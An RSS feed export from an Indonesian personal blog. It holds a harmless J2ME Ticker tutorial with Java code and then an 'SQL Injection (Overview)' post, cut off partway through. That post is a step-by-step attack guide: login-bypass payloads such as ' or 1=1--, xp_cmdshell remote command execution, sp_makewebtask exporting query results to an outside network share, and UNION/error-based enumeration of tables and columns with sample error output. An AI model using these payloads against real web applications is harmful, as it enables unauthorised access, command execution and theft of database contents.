<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Andi Sunyoto Personal Blog &#187; Form</title>
	<atom:link href="http://www.andisun.com/tag/form/feed" rel="self" type="application/rss+xml" />
	<link>http://www.andisun.com</link>
	<description>andi&#124;blog</description>
	<lastBuildDate>Wed, 28 Dec 2011 12:24:37 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>J2ME: Form dan Ticker</title>
		<link>http://www.andisun.com/tutorials/j2me-programming/j2me-form-dan-ticker</link>
		<comments>http://www.andisun.com/tutorials/j2me-programming/j2me-form-dan-ticker#comments</comments>
		<pubDate>Fri, 11 Sep 2009 02:07:24 +0000</pubDate>
		<dc:creator>myandisun</dc:creator>
				<category><![CDATA[J2ME-Mobile Programming]]></category>
		<category><![CDATA[Form]]></category>
		<category><![CDATA[J2ME]]></category>
		<category><![CDATA[MIDlet]]></category>
		<category><![CDATA[ticker]]></category>

		<guid isPermaLink="false">http://www.andisun.com/?p=442</guid>
		<description><![CDATA[Apabila sedang menyaksikan tayangan pada televisi akan sering terlihat berita pada bagian bawah layar yang berupa tulisan berjalan. Atau pada acara yang berhubungan dengan bursa efek akan bisa dilihat juga berupa tulisan berjalan yang memberikan informasi mengenai keadaan saham pada saat itu. Untuk membuat “tayangan” seperti itu pada layar ponsel dapat digunakan class Ticker. Class [...]]]></description>
			<content:encoded><![CDATA[<p>Apabila sedang menyaksikan tayangan pada televisi akan sering terlihat berita pada bagian bawah layar yang berupa tulisan berjalan. Atau pada acara yang berhubungan dengan bursa efek akan bisa dilihat juga berupa tulisan berjalan yang memberikan informasi mengenai keadaan saham pada saat itu. Untuk membuat “tayangan” seperti itu pada layar ponsel dapat digunakan class Ticker.</p>
<p>Class Ticker tampak seperti animasi teks berjalan terus menerus dari kanan ke  kiri. Untuk menampilkan obyek Ticker yang telah dibuat, kita perlu memanggil method setTicker() yang didefinisikan pada class Displayable. Ini artinya, method tersebut dapat kita panggil dari obyek turunan dari kelas Screen maupun Canvas.</p>
<p>Pada modul ini akan mengekplorasi ticker. Disini akan membuat obyek Ticker dan mengkaitkannya dengan obyek Form.</p>

<div class="wp_codebox_msgheader wp_codebox_hide"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p442code3'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p4423"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
</pre></td><td class="code" id="p442code3"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">javax.microedition.midlet.*</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">javax.microedition.lcdui.*</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> MIDTicker <span style="color: #000000; font-weight: bold;">extends</span> MIDlet <span style="color: #000000; font-weight: bold;">implements</span> CommandListener <span style="color: #009900;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">private</span> Form form<span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">private</span> Display display<span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">private</span> Ticker ticker<span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">private</span> Command cmdKeluar<span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> MIDTicker<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		cmdKeluar <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Command<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Keluar&quot;</span>, Command.<span style="color: #006633;">EXIT</span>, <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		ticker <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Ticker<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Saham TELKOM naik 10 point&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		form <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Form<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Ticker&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		form.<span style="color: #006633;">setTicker</span><span style="color: #009900;">&#40;</span>ticker<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		form.<span style="color: #006633;">addCommand</span><span style="color: #009900;">&#40;</span>cmdKeluar<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		form.<span style="color: #006633;">setCommandListener</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> startApp<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		display <span style="color: #339933;">=</span> Display.<span style="color: #006633;">getDisplay</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		display.<span style="color: #006633;">setCurrent</span><span style="color: #009900;">&#40;</span>form<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> pauseApp<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> destroyApp<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">boolean</span> unconditional<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> commandAction<span style="color: #009900;">&#40;</span>Command c, Displayable d<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>c <span style="color: #339933;">==</span> cmdKeluar<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			destroyApp<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			notifyDestroyed<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Berikut keterangan kode program di atas:</p>
<p>Untuk membuat objek ticker digunakan baris berikut :</p>
<pre>ticker = new Ticker("Ini text berjalan yang akan ditampilan pada layar ");</pre>
<p>Sedangkan untuk menambahkan objek ticker pada form digunakan method setTicker(objekTicker), seperti di bawah ini :</p>
<pre>form.setTicker(ticker);</pre>
<p>Berbeda pada ponsel lainnya, pada Siemens, teks dari objek ticker menempati baris sama dengan title dari form. Selain itu, teks pada objek ticker hanya berjalan setelah layar saja.</p>
<p><a href="http://www.andisun.com/wp-content/uploads/2009/09/midlet_ticker01.png"><img class="aligncenter size-full wp-image-443" title="midlet_ticker01" src="http://www.andisun.com/wp-content/uploads/2009/09/midlet_ticker01.png" alt="midlet_ticker01" width="239" height="308" /></a></p>
<h2>1.1.    Setting Teks pada Ticker</h2>
<p>Pada class Ticker terdapat dua method yaitu getString() dan setString(String str). Berikut adalah contoh untuk aplikasi yang memberikan fasilitas bagi user untuk mengubah teks yang ditampilkan oleh objek ticker. Berikut adalah contoh dari aplikasi tersebut. Aplikasi ini dapat memodifikasi aplikasi ticker sebelumnya.</p>

<div class="wp_codebox_msgheader wp_codebox_hide"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p442code4'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p4424"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
</pre></td><td class="code" id="p442code4"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">javax.microedition.midlet.*</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">javax.microedition.lcdui.*</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> MIDTickerLanjut <span style="color: #000000; font-weight: bold;">extends</span> MIDlet <span style="color: #000000; font-weight: bold;">implements</span> CommandListener <span style="color: #009900;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">private</span> Form form<span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">private</span> Display display<span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">private</span> Ticker ticker<span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">private</span> Command cmdKeluar<span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">private</span> Command cmdTicker<span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">private</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Atextfield+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">TextField</span></a> textField<span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> MIDTickerLanjut<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		cmdKeluar <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Command<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Keluar&quot;</span>, Command.<span style="color: #006633;">EXIT</span>, <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		cmdTicker <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Command<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Set Ticker&quot;</span>, Command.<span style="color: #006633;">SCREEN</span>, <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		textField <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Atextfield+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">TextField</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Teks : &quot;</span>, <span style="color: #0000ff;">&quot;&quot;</span>, <span style="color: #cc66cc;">50</span>, <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Atextfield+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">TextField</span></a>.<span style="color: #006633;">ANY</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		ticker <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Ticker<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		form <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Form<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Ticker&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		form.<span style="color: #006633;">append</span><span style="color: #009900;">&#40;</span>textField<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		form.<span style="color: #006633;">addCommand</span><span style="color: #009900;">&#40;</span>cmdKeluar<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		form.<span style="color: #006633;">addCommand</span><span style="color: #009900;">&#40;</span>cmdTicker<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		form.<span style="color: #006633;">setCommandListener</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> startApp<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		display <span style="color: #339933;">=</span> Display.<span style="color: #006633;">getDisplay</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		display.<span style="color: #006633;">setCurrent</span><span style="color: #009900;">&#40;</span>form<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> pauseApp<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> destroyApp<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">boolean</span> unconditional<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> commandAction<span style="color: #009900;">&#40;</span>Command c, Displayable d<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>c <span style="color: #339933;">==</span> cmdKeluar<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			destroyApp<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			notifyDestroyed<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>c <span style="color: #339933;">==</span> cmdTicker<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			form.<span style="color: #006633;">setTicker</span><span style="color: #009900;">&#40;</span>ticker<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			ticker.<span style="color: #006633;">setString</span><span style="color: #009900;">&#40;</span>textField.<span style="color: #006633;">getString</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Aplikasi ini merupakan hasil modifikasi dari MIDTickerLanjut.java. Objek yang ditambahkan adalah objek textField yang akan digunakan oleh user untuk memasukkan teks yang akan digunakan oleh objek ticker. Pada konstruktor hanya dilakukan pembuatan objek ticker dan belum ditambahkan pada objek form. Setelah “tombol” Ticker ditekan baru objek ticker ditambahkan pada form dengan baris seperti berikut ini:</p>
<pre>if (c == cmdTicker) {
  form.setTicker(ticker);
  ticker.setString(textField.getString());
}</pre>
<p>Untuk menampilkan teks yang diisikan user pada textField digunakan baris berikut:</p>
<pre>ticker.setString(textField.getString());</pre>
<p><a href="http://www.andisun.com/wp-content/uploads/2009/09/midlet_ticker02.png"><img class="aligncenter size-full wp-image-444" title="midlet_ticker02" src="http://www.andisun.com/wp-content/uploads/2009/09/midlet_ticker02.png" alt="midlet_ticker02" width="487" height="314" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.andisun.com/tutorials/j2me-programming/j2me-form-dan-ticker/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SQL Injection (Overview)</title>
		<link>http://www.andisun.com/jurnal/sql-injection-overview</link>
		<comments>http://www.andisun.com/jurnal/sql-injection-overview#comments</comments>
		<pubDate>Tue, 21 Jul 2009 15:47:16 +0000</pubDate>
		<dc:creator>myandisun</dc:creator>
				<category><![CDATA[Jurnal]]></category>
		<category><![CDATA[Form]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Injection]]></category>
		<category><![CDATA[overview]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[Port]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://www.andisun.com/?p=148</guid>
		<description><![CDATA[Ketika mesin server hanya port 80 yang dibuka, kita mempunyai keyakinan bahwa tidak akan menghasilkan sesuatu yang bermanfaat yang dapat digunakan untuk menyerang, admin juga beranggapan hanya degan mem-patch servernya dianggap aman. Jika anggapan itu terus dipakai berarti kita “menekan tombol” untuk membuka hacker masuk.]]></description>
			<content:encoded><![CDATA[<h4><strong>Abstraksi</strong></h4>
<p style="text-align: left;">Ketika mesin server hanya port 80 yang dibuka, kita mempunyai keyakinan bahwa tidak akan menghasilkan sesuatu yang bermanfaat yang dapat digunakan untuk menyerang, admin juga beranggapan hanya degan mem-<em>patch</em> servernya dianggap aman. Jika anggapan itu terus dipakai berarti kita “menekan tombol” untuk membuka <em>hacker</em> masuk.</p>
<p style="text-align: left;">SQL Injection adalah salah satu tipe meng-<em>hack</em> yang hanya membutuhkan port 80 dan tidak memerlukan port lain. SQL injection akan menyerang aplikasi web yang berbasiskan <em>side-server scripting</em> seperti ASP, JSP, PHP, CGI, dan yang mirip dengan itu. Pada artikel ini kita tidak akan membahas hal yang paling baru tentang SQL Injection, karena motode dan trik SQL Injection terus berkembang.</p>
<p style="text-align: left;">Sebelum anda membaca lebih lanjut, anda harus mnegetahui terlebih dahulu bagaimana database bekerja dan bagaimana SQL digunakan untuk mengaksesnya.</p>
<h2 style="text-align: left;">1.1 Apakah SQL Injection ?</h2>
<p>SQL Injection adalah sebuah teknik untuk mengeksporasi aplikasi web dengan memanfaatkan suplai data dari client dalam sintak SQL. Banyak halaman web memakai parameter dari web user untuk menggunakan query ke dalam database. Kita ambil sebagai contoh ketika user akan login, halaman user akan mengirim user dan login sebagai parameter untuk digunakan sebagai SQL dan mencek apakah user dan password cocok. Dengan SQL Injection ini sangat mungkin untuk kita mengirim user nama dan password dan dianggap benar.</p>
<p>Walaupun mudah untuk menandai dan melindungi model serangan ini, tapi cukup mengherankan banyak aplikasi web yang terserang dengan metode ini. Pada pembahasan selanjutnya dicontohkan ketika memakai web server IIS dan Microsoft SQL Server untuk databasenya, sedangkan skrip yang dipakai adalah ASP.</p>
<p><span id="more-148"></span></p>
<h3><strong>1.3 Apa yang diperlukan</strong></h3>
<p>Untuk keperluan SQL Injection kita hanya membutuhkan browser. Browser yang dipakai adalah segala macam browser.</p>
<h3><strong>2.1 Apa yang perlu di cari ?</strong></h3>
<p>Kita dapat memanfaatkan halaman-halaman web yang terdapat <em>submit data</em>, contoh: halaman login, pencarian, feedback, dan lain-lain. Kadang halaman HTML menggunakan metode POST untuk mengirim parameter ke halaman web yang lain. Jika model halamnnya seperti ini maka kita harus melihat source code karena kita tidak dapat melihat pada URL. Mudah untuk mencek source code halaman HTML, tinggal klik kanan pilih view source (pada Internet Exlorer), kemudian cari kode “FORM”. Berikut contoh halaman tersebut:</p>
<pre>&lt;FORM action=search.asp method=post&gt;
&lt;input value=andi&gt;
&lt;/FORM&gt;</pre>
<p>Semua yang terletak diantara &lt;FORM&gt; dan &lt;/FORM&gt; mempunyai potensial untuk digunakan mengekplorasi halaman web tersebut. Karena itu dapat menjadi sebuah parameter. Halaman diatas berarti akan mengrimkan parameter bernama “login” dengan nilai (value)=”andi”.</p>
<h3><strong>2.2 Bagaimana jika tidak bukan halaman input ?</strong></h3>
<p>Jika halaman bukan berbentuk form input, maka anda harus cari halaman yang di buat dengan bahasa pemrograman internet seperti ASP, JSP, CGI or PHP, kemudian cari spesial URL seperti http://www.myandisun.com/profile.asp?id=10. Ini berarti halaman web ASP dengan parameter “id” yang bernilai “10”.</p>
<h3><strong>2.3   Bagaimana cara mengetes suatu halaman web mudah diserang?</strong></h3>
<p>Dimulai dari pengunaan single quote. Seperti masukan:</p>
<pre>hi or 1=1--</pre>
<p>Dalam login, password, atau URL lain. Contoh:</p>
<pre> - Login: hi' or 1=1--</pre>
<pre> - Pass: hi' or 1=1--</pre>
<pre> - http://www.myandisun.com/profil.asp?id=10id=hi' or 1=1--</pre>
<p>Jika halaman dalam bentuk ada field yang bertipe hidden, anda tinggal download kode HTML dari situs yang anda buka ke hard disk anda, di modifikasi sedikit kemudian di simpan dalam hard disk dan modifikasi URL, seperi contoh berikut:<br />
Skrip awal:</p>
<pre>&lt;FORM action=search.asp method=post&gt;
 &lt;input value=t610 &gt;
&lt;/FORM&gt;</pre>
<p>Setelah di modifikasi:</p>
<pre>&lt;FORM action=http://www.myandisun.com/search.asp method=post&gt;
&lt;input value=t610&gt;
&lt;/FORM&gt;</pre>
<p>Jika anda beruntung maka dengan cara seperti itu anda dapat masuk ke halaman web tanpa harus mengisikan login name dan password yang benar.</p>
<h3><strong>3.1 Kenapa Harus ‘ or 1=1&#8211;</strong></h3>
<p>Kita akan ekplorasi pentingnya 1=1 &#8212; dan apakah memperoleh informasi yang tidak normal (diberikan kepada user biasa) dari sebuah web site. Kita ambil halaman asp yang di link ke halaman lain seperti URL berikut:</p>
<pre>http://www.myandisun.com/barang.asp?category=food</pre>
<p>Dalam URL diatas, “category” adalah nama variabel sedangkan “food” adalah nilai yang diberikan pada variabel tersebut. Untuk dapat mengambil nilai dari variabel diatas berikut code program pada file barang.asp.</p>
<pre>v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" &amp; v_cat &amp; "'"
set rs=conn.execute(sqlstr)</pre>
<p>seperti kita lihat pada contoh diatas variabel kita bungkus dan diberi nama “v_cat” dan SQL menjadi:</p>
<pre>SELECT * FROM product WHERE PCategory='food'</pre>
<p>Pada query diatas menghasilkan ini satu atau beberapa baris yang cocok untuk kondisi dimana (WHERE) kondisinya adalah ‘food’.</p>
<p>Sekarang kita asumsikan URL diatas kita ganti menjadi seperti ini:</p>
<pre>http://www.myandisun.com/barang.asp?category=food' or 1=1--</pre>
<p>Sekarang variabel “v_cat” kita menjadi “foot’ or 1=1—“, jika masukkan ke query maka:</p>
<pre>SELECT * FROM product WHERE PCategory='food' or 1=1--'</pre>
<p>Query diatas berarti menampilkan semua dari tabel product dengan “Pcategory” sama dengan ‘food’ atau tidak. Sedangkan double dash “&#8211;“ menyatakan pada SQL server untuk mengabaikan kesalahan query, yang akan membersihkan single quote yang terakhir. Kadang kita dapat menggenti double quote dengan has tunggal “#”.</p>
<p>Jika cara diatas tidak dapat mennyebabkan SQL server mengabaikan kesalahan query anda dapat mencoba.</p>
<pre>' or 'a'='a</pre>
<p>Sehingga query akan menjadi:</p>
<pre>SELECT * FROM product WHERE PCategory='food' or 'a'='a'</pre>
<p>Itu seharusnya akan menghasilkan hasil yang sama.</p>
<p>Tergantung pada peraturan Query, dapat dicoba dengan beberapa alternatif yang mungkin:</p>
<pre>' or 1=1--

 " or 1=1--

 or 1=1--

 ' or 'a'='a

 " or "a"="a

 ') or ('a'='a</pre>
<h3><strong>4.0  Bagaimana mengeksekusi jarak jauh dengan SQL Injection?</strong></h3>
<p>Melakukan perintah injeksi SQL berarti kita dapat mengeksekusi perintah SQL. Secara default Microsoft SQL Server running sebagai SYSTEM, yang berarti sama dengan Administrator mengakses Windows. Kita dapat menggunakan store procedure seperti master..xp_cmdshell untuk melakukan remote exucution:</p>
<pre>'; exec master..xp_cmdshell 'ping 10.10.1.2'--</pre>
<p>Dapat dicoba menggunakan double quote (&#8220;) jika single quote (&#8216;) tidak berjalan.</p>
<p>Semi colon digunakan untuk mengakhiri query, jadi setelah semicolon kita membolehkan untuk memulai perintah SQL baru. Untuk menguji perintah diatas di eksekusi dengan sukses, anda dapat memperoleh informasi dari paket ICMP dari 10.10.1.2,  yang akan mencek setiap paket dari server.</p>
<pre> #tcpdump icmp</pre>
<p>Jika tidak mendapatkan perintah request ping dari server, dan pesan error yang mengidikasikan kesalahan permission, ini juga berarti administrator membatasi akses Web User untuk menakses store procedure tersebut.</p>
<h3><strong>5.0 Bagaimana memperoleh output dari SQL Query kita ?</strong></h3>
<p>Kita bisa menggunakan sp_makewebtask untuk menuliskan wuery dalam HTML.</p>
<pre>'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"</pre>
<p>Dengan syarat target IP harus berupa folder “share” yang di sharing untuk semuanya user.</p>
<h3><strong>6.0  Bagaimana memperoleh data dari pesan kesalahan database ?</strong></h3>
<p>Kita dapat menggunakan informasi pesan kesalahan yang di keluarkan oleh MS SQL Server untuk mendapatkan sebagian data yang kita perlukan.</p>
<pre>http://www.myandisun.com/barang.asp?id=10</pre>
<p>Kita akan mencoba UNION integer ‘10’ dengan string dari database:</p>
<pre> http://www.myandisun.com/barang.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--</pre>
<p>Tabel system INFORMATION_SCHEMA.TABLES berisi informasi semua tabel di dalam server. Pada TABLE_NAME fieldnya berisi dengan jelas nama masing-masing tabel dalam database. Itu kita pilih karena pasti ada dalam sebuah database dalam SQL Server, query nya adalah:</p>
<pre>SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-</pre>
<p>Query diatas akan mengembalikan tabel pertama dalam database. Ketika kita UNION nilai string dengan integer 10, MS-SQL Server mencoba menkonversi string (nvarchar) menjadi integer.  Ini akan menghasilkan error, ketika kita tidak bisa mengkonversi dari string (nvarchar) to int, server akan menampilkan pesan kesalahan.</p>
<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
 /barang.asp, line 5</pre>
<p>Error ini bagus buat kita dan cukup untuk mengatakan pada kita ada nilai yang tidak dapat di konversi menjadi integer. Dalam kasus ini, kita memperoleh tabel pertama di dalam database, yang namanya “tabel1”.</p>
<p>Untuk dapat menampilkan nama tabel yang lain, kita dapat mengikuti query berikut:</p>
<pre> http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--</pre>
<p>Kita juga dapat mencari data mengunakan keyword LIKE.</p>
<pre> http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--</pre>
<p>Hasil:</p>
<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
 /index.asp, line 5</pre>
<p>Jika kita lihat syntax ini sama antara &#8216;%25login%25&#8242; dan %login% dalam SQL Server. Dalam kasus ini, kita akan mendapatkan nama tabel pertama yang cocok untuk criteria “admin_login”.</p>
<h3><strong>6.1 Bagaimana mendapatkan semua nama kolom dalam tabel ?</strong></h3>
<p>Kita dapat menggunakan kegunaan lain dari tabel INFORMATION_SCHEMA.COLUMNS untuk memetakan nama kolom dalam sebuah tabel dalam database.</p>
<pre>http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--</pre>
<p>Hasil:</p>
<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5</pre>
<p>Jika sekarang yang kita punya adalah colum nama pertama, kita dapat menggunakan NOT IN () untuk mendapatkan nama kolom berikutnya.</p>
<pre>http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--</pre>
<p>Hasil:</p>
<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
